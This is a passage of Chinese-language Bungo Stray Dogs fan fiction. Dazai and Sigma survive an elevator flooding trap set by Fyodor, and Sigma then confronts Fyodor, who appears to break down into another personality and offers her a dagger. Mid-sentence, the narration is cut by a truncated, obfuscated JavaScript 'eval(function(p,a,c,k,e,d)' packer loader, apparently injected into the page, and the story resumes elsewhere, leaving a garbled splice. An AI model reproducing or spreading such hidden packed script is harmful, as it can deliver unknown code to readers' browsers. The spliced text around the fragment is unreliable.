她转头看向一旁胸有成竹的太宰治,心底五味杂陈。 能赢,这么下去的话,真的能赢。 太宰仅凭一己之力,就能对付那两个超人。 屏幕里,中原中也在水中仰着头,绪色的发丝在水中凌乱地飘散。 他紧咬着牙关,下颌线绷出冷硬的弧度,即使身处绝境,周身也透着一股不肯认输的桀骜。 太宰治看着他,目光里闪过一丝极淡的情绪,快得让人抓不住。 他轻声开口,语气里听不出喜怒:“中也,要跟你道别了呢。” “情况变成这样,我也很遗憾。” “认识你七年,我跟你之间只有怨念。” “现在想想,过去也不是没有互相理解的瞬间。” 太宰治的目光落在屏幕上,心中不由自主地闪过无数碎片般的过往—— “比如说——” 他沉默了一瞬,像是在认真回忆什么。 …… “对不起,果然还是没有!” 下一秒,太宰治脸上又绽开灿烂的笑容,语气轻快的说出告别。 “那么,goodbye.?” 话音落下的瞬间,重水终于漫过了中原中也的头顶,漫过了他那顶标志性的黑帽。 监控里只剩下咕嘟的水声,像是死神的低语,在封闭的空间里不断回响。 17. 逆局 太宰治和西格玛站在走廊的地板上,玩着最幼稚的石头剪刀布游戏。 无论出拳多少次,落于下风的永远是西格玛。 “剪刀——石头——布!” 尾音刚落,太宰治摊开的掌心稳稳对上西格玛攥紧的拳头。 看着眼前明晃晃的结果,又是自己输了。 西格玛的指节下意识地抵着下唇,眉头微微蹙起,语气里带着点不甘的较真:“为什么我一次都赢不了?!” 太宰治低笑出声,鸢色的眼眸弯成月牙,慢悠悠地为她解答:“哈哈,这就是紧张和间隙的关键了。” “观察对手手臂肌肉的紧张程度,视线的偏移,还有出拳前那一瞬间的动作间隙,就能猜到下一招是什么。” “再加上啊,把自己接下来要出的手势,不着痕迹地融进小动作里,就能在潜意识里影响对方,让她跟着出一样的。” “只要勤加练习,你也做得到哦。” 西格玛沉默了一瞬,看向他的目光里多了几分后怕:“你不是我们赌场的客人,真是太好了。” 太宰治笑得更欢了,指尖点了点自己的太阳穴:“这下你明白了吧?” “什么?” “这些都只是小聪明而已,我可不是什么超越人类理解的超人。” 太宰治早就察觉到了西格玛心底的念头,所以才特意拉着她玩这种,对她来说毫无胜算的游戏。 他看着西格玛低垂的眼睫,声音放轻了些:“这个世界上,既没有超人,也没有凡人。” 西格玛垂着眼,淡粉色的眼瞳藏在纤长的睫毛下,投出一小片柔软的阴影。 “我不这么认为。” 太宰治挑眉,俯身凑近了些:“为什么这么想?” “……不用我说,你也明白吧?”西格玛的声音低得像呢喃,“太宰,你是个超人。你单凭一人就打败了费奥多尔,你根本就不需要我。” 她的眼睫垂得更低,近乎要埋进鬓角的碎发里,语气里漫开淡淡的涩意:“但是,那个时候,你为什么选择了我?不惜舍弃那么多更有用的道具,为什么偏偏选择了我——” “有两个理由。”太宰治打断了她的话。 西格玛猛地抬起眼眸,淡粉色的瞳孔里满是疑惑,直直撞进对方深不见底的鸢色眼眸里。 太宰治往前凑了凑,指尖轻轻捋起一缕落在她脸颊的发丝,语气里带着几分说不清道不明的认真:“我是真心的哦,从第一眼起,就被您深深吸引住了。像您这样美丽的小姐,可是我的理想型呢。” 明明说着近乎告白的话语,指尖却带着几分轻佻的意味,摩挲着那缕发丝的发梢。 太宰治就是这样,永远带着让人捉摸不透的矛盾。 西格玛被他突如其来的亲近吓得猛地后退一步,发丝从指尖滑落,带起一阵微痒的触感。 她的脑海里瞬间闪过果戈里带着疯狂笑意的脸,心脏不由得一紧。 “……请不要这样捉弄我。” 西格玛的声音压得很低,带着不易察觉的颤抖,看向太宰治的眼神里满是戒备。 在她心里,此刻的太宰治,简直就是费奥多尔的冷静算计,和果戈里的肆意玩弄的结合体。 太宰治摩挲着指尖,刚才那转瞬即逝的认真褪去,眼底又挂上了惯有的漫不经心的笑意。 西格玛站稳了脚步,看着他嘴角的弧度,心里泛起一阵难以言喻的酸涩:“……我知道了,是这么回事对吧?” “我连被告知真相的价值都没有。” 她的眼眸重新低垂下去,淡粉色的瞳仁里漾着细碎的失落,声音里的委屈几乎要溢出来。 太宰治脸上的笑容微微一僵。 他看着西格玛耷拉着脑袋,像只被雨淋湿的幼猫,那副带着悲伤的模样,让他心底莫名泛起一丝烦躁。 ——那样的表情,我无论如何都不想看到。 “不对哦,”太宰治开口,声音比刚才低沉了几分,“我只是觉得,就算跟你说了,你也不会理解而已。” 他在心里补充道:因为从一开始,你就不愿意相信我,不是吗? “要说为什么的话,因为你一直在,被一天人五衰为首的各方组织利用之间,对这样的你来说,理解是很困难的。” 对这样的你来说,“相信”这种东西,或许早就成了奢侈品。 太宰治顿了顿,话锋忽然一转:“……但是,你要不要试一试呢?” 他没有继续说下去,像是刻意避开了这个话题,伸手指了指西格玛的方向。 “在此之前,先让我确定一点,你的异能,就算是尸体,也能问出情报,对吧?” “嗯,没错,”西格玛点点头,如实回答,“如果是刚死不久的话……” “果然,这就是我选择你的理由。”太宰治打了个响指,语气轻快了些,“我需要你,从费奥多尔那具被溺毙的尸体里,问出他今后的计划。” “恐怕费奥多尔的异能,只能对直接触碰的对手发动。”他慢悠悠地解释道,“但是现在,他已经死了,我们可以放心地触碰他了。” “我们得从他的尸体里,问出他的计划,这样才能拯救还被困在机场的侦探社成员。” 西格玛的眼睛微微放大,淡粉色的瞳仁里满是不可置信:“机场……?侦探社?” 她像是终于明白了什么,看向太宰治的眼神里满是复杂:“也就是说,你选择我,你采取在费奥多尔越狱前就将其杀害的战略,这一切都是为了拯救侦探社吗?” 太宰治将虎口撑在下巴上,歪了歪头,语气漫不经心:“算是吧,好歹我也是领着侦探社工资的人嘛。” 西格玛定定地看着太宰治,视线落在他弯起的唇角上,那抹漫不经心的笑意上。 过去的话语忽然在脑海中尖锐地回响起来。 西格玛,你已经被利用完了。 抱歉,但是你已经没有利用价值了。 你就是个随时丢弃的棋子。 谢谢你,再见了。 一句比一句冰冷,一句比一句清晰。 心脏像是被什么东西攥住了,闷得发疼。 太宰治转过身,按下了电梯的密码,金属面板上的数字亮了又灭。 他回过头,看向站在原地没动的西格玛:“那么就是这样,坐电梯上去之后,我们马上就能到达目的地了。” 西格玛沉默着走上前去,目光落在太宰治正伸手拆开电梯顶部电路的动作上,忍不住开口:“报警装置呢?” “还用说吗?早在中央控制室就解除了。” 太宰治头也不回地回答,指尖在杂乱的线路里拨弄着,“只是以防万一,再确认一下内部结构……排线原来是这个样子啊。” 他检查完,举起拳头,比了个欢快的姿势,笑容灿烂得晃眼:“好!没有陷阱!那么,打起精神出发吧!” 两人一同走进电梯,金属门缓缓合上,将走廊的光线隔绝在外。 狭小的空间里,只剩下电梯运行的轻微声响。 西格玛忍不住打破了沉默,声音压得很低,带着一丝迟疑的试探:“那个,你刚刚说的选择,有两个理由,第二个是什么?” 太宰治静静地看着前方的金属门,没有回头,声音平淡得听不出情绪:“要是我不选你的话。” “你就会重新回到费奥多尔和果戈里的地狱里吧。” “说不定,还会被杀死。” ! 西格玛的指甲猛地陷进掌心,尖锐的痛感让她瞬间回过神。 她怔怔地看着太宰治的侧影,淡粉色的瞳孔里泛起一层薄薄的水汽,心脏像是被投入了一颗石子,漾开层层叠叠的涟漪。 “所以你才救了我的命……吗?” 她的声音轻得像一声叹息,平平静静的,连尾音那点本该扬起的疑问调,都被她轻轻压了下去,淡得几乎听不真切。 太宰治依旧没有回头。 西格玛静静地看着他的侧脸,电梯的冷光勾勒出他流畅的下颌线,明明是那样漫不经心的模样,却让她心底漫过一阵说不清道不明的涩意。 她没有再说话,只是在心里默默想着。 你不打算进一步回答了,是吗…… 武装侦探社,到底是个什么样的地方? 太宰治说到底,也和其他人一样,是在利用我吧。 但是,这份感情,到底是什么呢? 我想要一个家,一个不用被任何人利用,只是单纯用来生活的家。 所有人都在利用他人而生存。 但是为什么,武装侦探社不去利用太宰,而太宰,也不去利用武装侦探社呢? 西格玛不明白,这是现在的她想不明白的事。 “......好奇怪啊。” 太宰治忽然抬头,视线落向电梯轿厢的顶部。 西格玛皱起眉,顺着他的目光望过去,满眼都是冰冷的金属板面:“怎么了?” “这也太久了。” 太宰治的声音里听不出情绪。 话音刚落,电梯猛地剧烈晃动起来! 失重感骤然袭来,西格玛猝不及防,膝盖狠狠磕在地板上,疼得她倒抽一口冷气。 下一秒,刺目的红光瞬间笼罩了整个狭小的空间,警报声尖锐地划破空气。 电梯的广播突然响起,断断续续的电流声里,掺着一个女人惊慌失措的哭腔。 “我……救我……” “救救……我什么也没做……跟我没关系……所以救救我……” 画面切到中央警卫室。 那个时间异能者被费奥多尔用枪死死抵在控制板上,脸色惨白如纸。 吸血鬼化的中原中也面无表情地站在一旁,猩红的眼瞳里没有丝毫温度。 “我只是受人所托,用了停止时间的异能而已!”女人的声音抖得不成样子,绝望地哭喊着,“求你放过我的性命!求你……” 话音未落,一声枪响撕裂了空气。 砰——! 广播里的哭喊声戛然而止,只剩下电流的滋滋声。 “好了,太宰。” 费奥多尔的声音透过广播传来,他用握着枪的手背,漫不经心地擦了擦溅到脸上的血迹,语气平淡得像是在谈论天气,“我全身湿透,冷得要死,所以我就长话短说了。” 西格玛踉跄着站起身,心脏狂跳不止,她猛地转头看向一旁的太宰治,声音里带着抑制不住的慌乱:“刚……刚刚是怎么回事?!” 太宰治抬头望着广播的位置,语调平静得可怕:“被算计了。” “时间停止的信号中断了,”他顿了顿,眼底掠过一丝冷意,“恐怕那个时间异能者——已经被杀害了。” 镜头转回中央警卫室。 时间异能者的尸体软软地倒在控制板前,鲜血蜿蜒着漫过冰冷的地面。 费奥多尔单手撑在控制板上,骨节分明的手指轻轻敲击着面板,唇角挂着一抹浅淡的笑意。 “太宰,老实说,我稍稍有点惊讶。” “我不是在说那场洪水,”他的声音透过广播,清晰地传进电梯里,带着几分嘲弄,“我是指,明明对方做了你七年的伙伴,你却仍觉得,那个操纵重力的人,无法抵御洪水。你们的羁绊,也过于肤浅了。” 太宰治的目光骤然变得锐利,鸢色的瞳孔里翻涌着暗流:“什么?” 费奥多尔的笑意更深了些,像是在欣赏猎物的反应。 “我在事前,就将隔墙的轨道用重力给扭曲了。” “即使是世界最强的隔墙,其设计意图也是[不能被轻易打开]。因此从结果而言,要[关闭已打开的隔墙],也相当困难。” 他慢条斯理地解释着,语气轻描淡写。 “隔墙故障,无法完全关上水流,就此泄露之后的事就简单了。用重力横向牵引,从隔墙的缝隙里逃出去就行。” 太宰治的眉头狠狠压低,脸色沉了下来。 “……!” “连这种程度都无法事先计算,看来你缺乏使役重力使的资质啊。” 费奥多尔的声音里满是戏谑。 西格玛的大脑飞速运转,无数碎片在脑海里碰撞、拼凑。 如果是这样的话,费奥多尔确实能逃出去。 可他必须事先知道会有水漫进来——费奥多尔到底是怎么做到的? 西格玛想到了,现在吸血鬼化了中原中也,也就是说—— “是吸血鬼啊。” 太宰治的声音在身旁轻轻响起,像是看穿了她的心思,“他大概在数日之前,就把某个警卫变成吸血鬼,让其潜伏在里面了。因为来自警卫的联络中断,所以他才能推断,警卫室已经被镇压。” 西格玛咬紧下唇,指尖因为用力而泛白。 那么也就是说,在太宰镇压警卫室之前,费奥多尔就已经支配了这里,支配了默索尔吗……? 费奥多尔俯身凑近话筒,温热的气息拂过冰冷的金属表面,语气里带着一丝不易察觉的慵懒。 “虽说如此,在危机面前,我确实也脸色发青。洪水的炼狱,对于神的仆人的我来说,可谓是相当合适。但我身体虚弱,一旦感冒,可承受不了。” 他顿了顿,勾起一抹冰冷的笑。 “所以,作为回礼——” “我也给你们,同样的试炼吧。” 话音落下的瞬间,冰凉的液体突然从电梯的缝隙里涌了进来,迅速漫过西格玛的脚踝。 电子音冰冷地响起:检测出电梯不当使用,电梯将被锁死,开始连续注水。 西格玛心头一紧,连忙扑到电梯门前,用力推着门板,可门纹丝不动。 “门也被锁上了!”她猛地回头看向太宰治,淡粉色的瞳孔里满是惊惶。 监控屏幕的另一端,费奥多尔望着画面里的两人,笑容残忍而优雅。 这是对你错误选择的惩罚。 西格玛,真是遗憾,要在这里见到你死亡的样子。 “那么我就说到这里。” 他微微颔首,语气带着虚伪的祝福。 “希望这次——” “你们能够被神双手拥抱。” 水流很快漫到了西格玛的腰腹,冰冷的触感裹着窒息的恐慌,顺着皮肤钻进四肢百骸。 怎么办?怎么办才好? 我们不能像中原中也那样用重力逃脱,而且这里太窄了,只要几十秒,水就会把整个轿厢灌满! 得赶紧想办法…… 太宰治抬手摸了摸电梯墙壁上滑溜溜的液体,鸢色的瞳孔骤然一凝。 他猛地转头看向西格玛,嘴角依旧挂着惯有的笑意,语气却带着不容置疑的笃定:“虽然和您这样美丽的小姐一起殉情真的很美好,但殉情是需要双方自愿才行的。西格玛小姐并不想死,我知道的哦。” “所以,相信我——” 话音未落,太宰治伸手将西格玛猛地摁进水里,攥着她的手腕,带着她一同潜入水面之下。 窒息的痛苦与冰冷的恐惧瞬间攫住了西格玛。 她猛地睁眼,尖锐的凉意顺着眼缝钻进去,逼出一点生理性的湿意。 视野里的一切都覆着层薄薄的水膜,色彩被浸得发暗,唯有头顶的水面,不知何时竟腾起了橘红的火焰。 西格玛的心脏骤然一缩。 她忽然想起太宰治方才摸墙壁的动作——那滑溜溜的液体,是费奥多尔事先涂上去的、具有自燃性质的透明燃料! 也就是说,这又是费奥多尔设下的陷阱……! 一旦浮出水面,就会被烈火焚烧殆尽。 可是……她快不能呼吸了…… 半紫半白的长发在水中肆意飘扬,像一尾浮动的水母。 太宰治的视线自始至终都没有离开过西格玛。 他敏锐地注意到,西格玛藏在胸口的手枪正随着水流缓缓飘出,于是抬手指了指那把枪,示意她看过去。 西格玛立刻会意,伸手攥住枪柄,朝着电梯墙壁连开三枪。 沉闷的声响在水中炸开,墙面留下三个浅浅的坑洞。 没用的……只靠一把在水里威力大幅下降的手枪,根本不可能击穿电梯的金属壁—— 唔……! 西格玛死死捂住嘴,鼻腔里满是呛水的酸涩。 ……糟了,要没气了。 窒息的痛苦像一张无形的网,紧紧缠绕着她,淡粉色的眼眸里漫上一层绝望的水汽。 太宰治看着她痛苦蹙起的眉峰,心底那股莫名的烦躁再次翻涌上来。 ——无论怎样,都不想看到你露出这样的神情。 他毫不犹豫地朝着西格玛靠近,抬手扣住她的后颈,俯身将自己肺里仅存的空气渡了过去。 西格玛先是一愣,下意识地想要挣扎,可当熟悉的空气渡入口中时,她浑身的力气骤然一松,任由自己靠在太宰治的臂弯里。 太宰治垂眸看着她,水下的一切都变得朦胧模糊。 唯有她微颤的眼睫,和那双氤氲着水汽的淡粉色眼眸,清晰得像是刻在他的心底。 渡气结束的瞬间,西格玛轻轻推开了他。 就在这时,她注意到头顶的火焰不知何时已经停止了燃烧。 西格玛下意识地想要上浮,去呼吸那近在咫尺的空气,手腕却被太宰治再次攥住。 西格玛愣了愣,或许是刚刚太宰治给她渡气的行为,西格玛没有选择继续上浮。 一个念头猛地窜进脑海。 如果火焰是在密闭的电梯里燃烧,那么室内的氧气会被急剧消耗。 火焰熄灭,不是因为燃料耗尽,而是因为氧气已经被烧光了! 现在,水面之上的那片空间,哪里是什么可以呼吸的空气,分明是毫无氧气的、致命的毒气! 这就是费奥多尔设计的四重恶意:对溺水的不安,对烈火的恐惧,缺氧带来的濒死痛苦,以及火灭之后接踵而来的、令人放松警惕的安心感与呼吸的诱惑。 凡是被这诱惑驱使,冒然浮出水面的人,都会无声无息地死去,甚至面带微笑,成为被死神收割的祭品。 费奥多尔的恶意,果然深不见底。 要是没有太宰治阻止自己……她现在已经是一具冰冷的尸体了。 可是,侥幸也只能持续数十秒。 如果不能真正浮出水面呼吸,他们最终还是会溺死在这冰冷的水里。 方才太宰治渡给自己的那点空气,顶多还能支撑十几秒。 十几秒之后呢? 就在西格玛心乱如麻之际,身旁的太宰治忽然抬眸。 鸢色的眼眸里褪去了往日所有的散漫与戏谑,目光沉沉地、认真地看着她。 那眼神通透得仿佛早已将费奥多尔的层层算计、这绝境里的所有生路与死局,都看得一清二楚。 他安抚地拍了拍她的肩。 下一秒,太宰治突然做出了一个让她惊愕的举动。 抬手抓住那把枪,朝着电梯广播的位置扣动了扳机。 随后借着反作用力,一脚蹬在墙壁上,身体像箭一般朝着水面冲去。 西格玛看着他冲破水面的背影,心脏骤然揪紧。 他怎么敢冒头?!那片没有氧气的空气,是比水下还要危险的夺命牢笼! 下一秒,西格玛便看见太宰治伸手抓住广播里裸露的电线,一脚踩在电梯壁上,另一只手握着枪,朝着广播内部连连射击。 沉闷的轰鸣声透过水层传进西格玛的耳朵里。 她猛地转头,竟看见紧闭的电梯门,缓缓裂开了一道缝隙! 发生了什么?! 不,现在不是思考的时候!不能放过这个机会! 西格玛拼尽最后一丝力气,朝着门缝的方向游去,伸手死死掰住门板。 呜呜呜——! 金属门板发出不堪重负的吱呀声,缝隙被一点点撑大。 水面之上,太宰治的手探进广播的线路中,发出噼里啪啦的电流声。 西格玛咬紧牙关,将门板掰开一个足以容身的空隙。 下一秒,新鲜的空气争先恐后地涌了进来。 西格玛瞬间明白了——太宰治破坏的不是电梯门本身,而是控制电梯门开关的电线! 和坚固的门板不同,控制关门的机关根本没有装甲保护,只靠手枪就足以破坏。 太宰治早就看破了电梯的内部结构,精准地找到了装甲最薄弱的位置,伸手切断了关键的线路。 可是……他到底是怎么在这么短的时间里,找到那一段决定生死的电线的? 西格玛顾不上细想,拼尽全力从缝隙中钻出去,浮出水面的瞬间,大口大口地呼吸着新鲜空气。 呼啊——! 清新的空气灌入肺腑,将窒息的痛苦一扫而空。 太宰治回头看向西格玛。 刚从水面浮出的她,发梢还滴着水,眼睫上凝着晶莹的水珠,垂落时像极了无声垂泪,如同蛊惑人心的塞壬。 西格玛剧烈地喘息着,胸腔因过度呼吸而微微起伏,淡粉色的眼眸里满是劫后余生的恍惚。 我还活着……即使呼吸,也不会没命了! 她抬眼看向太宰治,声音清亮又坚定,带着劫后余生的微颤:“太宰!” 太宰治冲着她竖起一个大拇指,嘴角勾起一个浅笑。 ——做的很棒哦,西格玛。和我配合得非常完美。 就在这时,冰冷的电子音突然响起:已检测出注水通路无法继续工作,即将解除安全装置,电梯将失速降落。 电梯顶部传来一阵刺耳的吱呀声,像是钢绳即将断裂的预警。 监控的另一端,费奥多尔慢条斯理地摸了摸半边脸颊,嘴角勾起一抹冰冷的笑意。 比起摔得粉身碎骨的坠落,我更希望你在毒气里静静睡去呢,西格玛。 那样,才不会疼,才是我能给你的、最温柔的结局啊。 西格玛的瞳孔骤然缩紧。 费奥多尔……他到底算到了哪一步?! 就在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她又想起太宰治将她推出缝隙时的模样。 他笑着,那句轻飘飘的话,像烙印一样刻在她的心头。 之后就,拜托你了。 从一开始,他就调查过电梯的自动开关装置,所以才能精准地用枪破坏内部的电线。 也就是说,太宰治从一开始就预料到了电梯的危险。 即便如此,他还是执意搭乘,只因为这是拯救侦探社的必经之路。 还有他在水下看向自己的那个表情——那是在说『我都理解』的表情。 无论是电梯的下坠,还是自身的败北,他全都预料到了。 可就算这样,那个家伙还是选择了只身赴险。 ……所以,才只有我得救了。 太宰治的声音再次在脑海里回响。 ——之后就,拜托你了。 西格玛猛地皱紧眉头,指甲深深嵌进掌心。 拜托,拜托我什么? 像我这种凡人,到底能做什么! 我要逃跑,我本来就和这场胜负毫无关系! 她攥紧拳头,脚步下意识地加快,却在这时,脚底传来一阵异样的触感。 一张纸? 西格玛停下脚步,弯腰捡起那张被水渍洇湿的纸片。 用俄语写的字条,这是谁留下的?写的又是什么意思? 她凑近了些,借着走廊冷白的灯光看清了字条,上面写的是—— 救救我。 空旷的走廊内,一道血痕拖在水泥地面中央,蜿蜒出漫长而刺目的痕迹。 咳咳…… 太宰治的汗珠顺着苍白的脸颊滑落,他靠着冰冷的墙壁缓缓坐下,身侧的地面很快晕开一滩暗红的血迹。 骨骼错位的闷响从身体里传来,他垂眸瞥了眼自己的腿,扯了扯嘴角:“骨折了啊……” 天花板的监控探头缓缓转动,镜头精准地对准了他。 太宰治抬眼看向那枚闪烁着红光的镜头,懒洋洋地挥了挥手,声音带着气音的沙哑:“嗨——求你了,这还挺痛的呢。” 监控室内,费奥多尔看着屏幕上狼狈却依旧挂着笑的太宰治,指尖轻轻敲击着桌面。 “给我个痛快吧。”太宰治笑着开口,语气漫不经心,像是在谈论天气。 费奥多尔的嘴角勾起一抹极淡的笑意,眉眼间的冷意却分毫未减:“我很乐意。” 他拿起对讲机,声音平静无波地响起:“听到了吗,中也先生。目标在5楼的水质管理室门前,杀了他。” 就在这时,一声枪响骤然撕裂了室内的寂静。 子弹精准地击穿了费奥多尔的左肩,鲜血瞬间浸透了他的衣料。 西格玛的身影出现在监控室门口,她浑身湿透,发丝凌乱地贴在脸颊,手中的枪口还冒着淡淡的青烟,稳稳地对准费奥多尔:“取消对太宰的攻击指令,不然下一发子弹,就会了结你。” 费奥多尔踉跄着坐倒在地,抬手捂住汩汩流血的左肩,指缝间很快涌出温热的血色。 他抬眼看向持枪站在门口的西格玛,紫罗兰色的眼眸里没有丝毫怨怼,反而漾着一丝极淡的、近乎温柔的涟漪。 他望着她,声音因失血而微微发颤,却带着无比的真心实意:“西格玛,你没有死,真是太好了。” 费奥多尔很清楚,以西格玛的枪法,刚才那一枪本可以直接击穿他的头颅。 紫罗兰色的眼眸里闪过一丝极淡的复杂情绪,快得让人抓不住。 他很高兴,西格玛没有那么做。 也很高兴,西格玛还活着。 真好啊,西格玛。你活下来了。 费奥多尔在心里无声地叹息。 你避开我的目光,不肯与我对视的模样,不会成为我们之间的最后一面。真是太好了。 西格玛看着他眼底一闪而过的情绪,心头掠过一丝疑惑。 眼前这个男人,真的在为她的存活而感到喜悦吗? 为什么……明明是你一开始决定要杀死我的,不是吗? 但她没有问,也不想去问。 那些缠绕着猜忌与试探的话语,说出口也不过是徒增纠葛。 “我还以为,你会逃走呢。” 费奥多尔率先打破了沉默,笑意却依旧挂在唇边。 西格玛抿了抿唇,指尖扣紧了扳机:“我跟太宰约好了,要直接触碰你,套出你们在机场的计划。” “为什么要遵守约定呢?有这个必要吗?”费奥多尔轻笑出声,语气带着几分玩味。 西格玛的眼睫轻轻一颤,正要开口,却被费奥多尔打断。 “……原来如此。”他的笑意淡了几分,眼神锐利如刀,“不愧是太宰,短短十几分钟,就能操控你到如此地步。” ——我花了那么久的时间,都没能获得你的信任,太宰治却这么轻松就做到了。 费奥多尔垂下眼眸,长长的睫毛掩去眼底翻涌的情绪。 西格玛皱紧眉头,握枪的力道又重了几分:“什么意思?” “那是太宰最擅长的人心操纵术。”费奥多尔抬眼看向她,语气笃定,“平常的你,可不是会这么乱来的人。” “你一开始拼命挣扎,只是为了不被他人利用,想要一个只属于你的家。但你在观察太宰之后,一定察觉了一件事——仅拥有一个孤独的家,是远远不够的。” “你真正需要的,从来不是一个固定的场所,而是一份可以交付后背的信赖。既不是人情,也不是交易,是那种能互信互助的关系。” 他的声音缓缓落下,带着洞悉一切的穿透力:“你,变得想要成为一名武装侦探社社员了,对吧?” 西格玛浑身一震,淡粉色的瞳孔微微收缩:“我……” “西格玛,你总是这样,太容易轻信于人。”费奥多尔低笑出声,语气里带着一丝不易察觉的叹息,“太宰治可不是什么简单的人。” “那个男人,是深渊。” 西格玛的心猛地一沉。 眼前的你,又何尝不是深渊? 明明你也在利用我,不是吗?她在心中无声自语,指尖因用力而泛白。 明明你也和其他人没有什么两样,从始至终,都只是为了利用我。 西格玛清楚,费奥多尔也好,太宰治也好,都是一样的。一样的深不可测,一样的将人心视作博弈的筹码。 但她依旧要选择跟注,选择站在太宰治那一边。 西格玛对自己说,明知有风险,依然坚定地选择跟注,这本就是赌场里的人,最该做的事。 她握着枪的手紧了紧,上前一步,将冰冷的枪口直接抵在费奥多尔的额头。 “明知有风险,依然坚定地选择跟注。这是我在赌场内学会的生存法则。” 她的声音清晰而坚定,目光直直地看向费奥多尔。 “我很清楚,现在想要操控我的人,是你才对。” “想方设法挑拨我和太宰的关系,让我对他产生不信任感,好让我移开这把枪。”西格玛的眼神锐利如锋,“在操纵我这场胜负上,是太宰获得了胜利。” 费奥多尔的眉眼垂了下来,长长的睫毛在眼睑下投出一片浅淡的阴影:“……是吗。” “既然你想操控我,就证明你畏惧这把枪。也就是说,不会有增援。” 西格玛的声音没有丝毫犹豫,“接下来,我要触碰你,获得你的记忆。但在那之前,告诉我,你的异能是什么?” 她抬眼,与费奥多尔对上视线。 对上那双曾经令她恐惧到战栗的紫罗兰色眼眸,这一次,她没有丝毫退缩,目光笔直地望了进去。 “过去,那些特殊部队的队员在触碰你之后,都立即身亡了。而且许多异能,必须在直接触碰后才会发动。太宰、中也……我也一样。” “草率地去触碰你,太危险了。回答我,你的异能到底是什么?” 西格玛的眉头锁得更紧,眼神里闪过一丝困惑与审视,语气陡然加重: “不对——你,到底是什么?” “未知的异能,未知的出身,你是一个贯穿了这个世界的黑洞,你到底是什么人?” 费奥多尔不语,依旧挂着那抹浅淡的、捉摸不透的笑意。 西格玛对上那双曾令自己战栗的紫罗兰色眼眸,抬手从湿透的衣襟里,掏出那张捡到的纸条。 “地上掉了这张纸条。这是你写的吗?” 费奥多尔的目光落在纸条上,指尖微微一颤,他轻声念出上面的字。 “『救救我』……” 话音落下的瞬间,他的眼睛骤然睁大,像是被什么东西狠狠攫住了心脏。 下一秒,他突然抱住头,发出一声凄厉的尖叫,身体蜷缩成一团,开始语无伦次地疯狂重复着俄语的“救救我”,声音破碎又绝望,完全没了平日里的冷静自持。 西格玛不明白费奥多尔在做什么,手指依旧死死扣着扳机,枪口稳稳对准他,厉声喝道: “不要有任何奇怪的行为!你到底在干什么?!” 她看着费奥多尔抱头蜷缩、状若癫狂的样子,淡粉色的瞳孔里满是惊疑。 到底发生了什么?! 18. 逆转 费奥多尔跪倒在地,十指狠狠插进凌乱的黑发里,脊背绷成一张濒临断裂的弓。 喉间滚出压抑的呜咽,破碎的音节混着粗气溢出唇齿—— “啊……嘎……” 他浑身都在发颤,每一次气音的吞吐都带着细微的痉挛,连指尖都在无意识地蜷缩。 “我,我……” 话语堵在喉咙里,像被无形的手扼住,只余下断续的气音。 下一秒,尖锐的嘶吼骤然撕裂空气。 “啊啊啊啊啊啊啊啊——!” 那声音里裹着碾碎骨髓的痛楚,不是左肩伤口的灼痛,是从灵魂深处漫上来的、无孔不入的焦灼与空洞。 费奥多尔猛地抬手撑住地面,额头青筋暴起,缓缓抬起头时,狭长的紫眸里翻涌着罕见的混乱,像被搅碎的星河。 他右手死死捂住左肩不断渗血的伤口,指腹陷进温热的血痂里,看向站在对面的西格玛,声音沙哑得像是砂纸磨过石板:“……告诉我。” 停顿的间隙,他急促地喘息着,胸腔剧烈起伏,紫眸里的冷意被一层薄薄的水雾晕开,模糊了惯常的算计与漠然。 “现在是几几年?” 西格玛怔怔地看着他。 眼前的费奥多尔,褪去了所有运筹帷幄的从容,狼狈得像一只被拔去利爪的孤狼,肩头的血染红了地面,也染红了他眼底的错愕。 她下意识地皱紧眉头,语气里满是难以置信的错愕:“哈……?!” 西格玛皱着眉,惊疑交加地盯住眼前的费奥多尔,声音里带着抑制不住的颤意:“你……到底在说什么?” 费奥多尔单膝跪在冰冷的地板上,右手撑地稳住摇晃的身体,指节因为用力而泛白:“听我说,那个家伙是个恶魔。” 他的声音沙哑,却带着一种不容置疑的恳切,“那是仿佛邪神二字获得□□般的男人,我阻挡不了他,但是还有希望——那就是你。” 他说着,从囚服的夹缝里摸索片刻,指尖攥住了什么硬物。 “收下这个吧。” 西格玛瞳孔骤缩,几乎是本能地抬枪对准他,厉声喝道:“喂!你别过来!” 费奥多尔的动作顿住了,他缓缓抬起手,掌心托着一把银质匕首,剑身泛着冷冽的光。 “【克拉登尼茨宝剑】。” 他一字一顿,语气平静得可怕。 “外表伪装成普通的武器,但它和圣十字剑一样,是用异能化银制成的。” 费奥多尔顿了顿,紫眸里翻涌着西格玛读不懂的情绪,一字一句道:“它是可以杀死身为异能的【我】的,唯一武器。” 费奥多尔将剑柄转向西格玛,缓缓递出,苍白的指尖因为用力而微微颤抖:“对不起。那家伙是……【我】是从我的弱小之中诞生的恶魔。我的意识会被自己的异能劫持,我的弱小会……” 西格玛握着枪的手微微发颤,脑海里飞速闪过那些混乱的片段,心底泛起一个荒谬的念头:双重人格,那就是费奥多尔的异能……? 费奥多尔的声音染上了一丝哀求,像濒死之人抓住最后一根稻草:“请用这把匕首杀死我,将这一切罪孽终结。” 他说着,停下了靠近的动作,紫眸里盛着破碎的光。 西格玛的心猛地一紧,神经瞬间绷紧,握枪的手攥得更紧了。 费奥多尔看着她紧绷的侧脸,忽然低低地笑了一声,那笑声里带着说不清的苦涩:“你在怨我。说出来吧,西格玛。说你恨我,说你爱我。” 他向前微倾身体,紫眸里的光暗了暗,语气里带着近乎偏执的渴求:“我知道另一个【我】伤害了你。西格玛,我是爱着你的。爱我……求你了。” 费奥多尔低语着,声音里的恳求几乎要溢出来:“在我死前,哪怕只是现在,哪怕只是谎言,说你爱我。” 西格玛猛地一愣。 如果眼前这个费奥多尔,真的是那个“善良”的他。 那么对他说一句“我爱你”,换得那把能杀死费奥多尔的匕首,无疑是眼下最稳妥的选择。 可话到嘴边,先一步涌上喉头的,是那些被操控、被欺骗的日日夜夜,是深入骨髓的别扭与恶心。 但当她想要歇斯底里地喊恨,比愤怒先一步落下的,会是滚烫的泪水。 西格玛好恨啊。 恨他为什么要把自己变成这样。 西格玛甚至忍不住去想,或许在某些转瞬即逝的片段里,她真的爱上了费奥多尔。 那掌控之下的温情,确实足够迷惑人。 可这些稍纵即逝的片段,转瞬间就被刺骨的恐惧彻底覆盖。 西格玛的理智在提醒她,那些都是虚假的,而清醒的认知之下,伴随而来的是更浓稠、更深邃的恐惧。 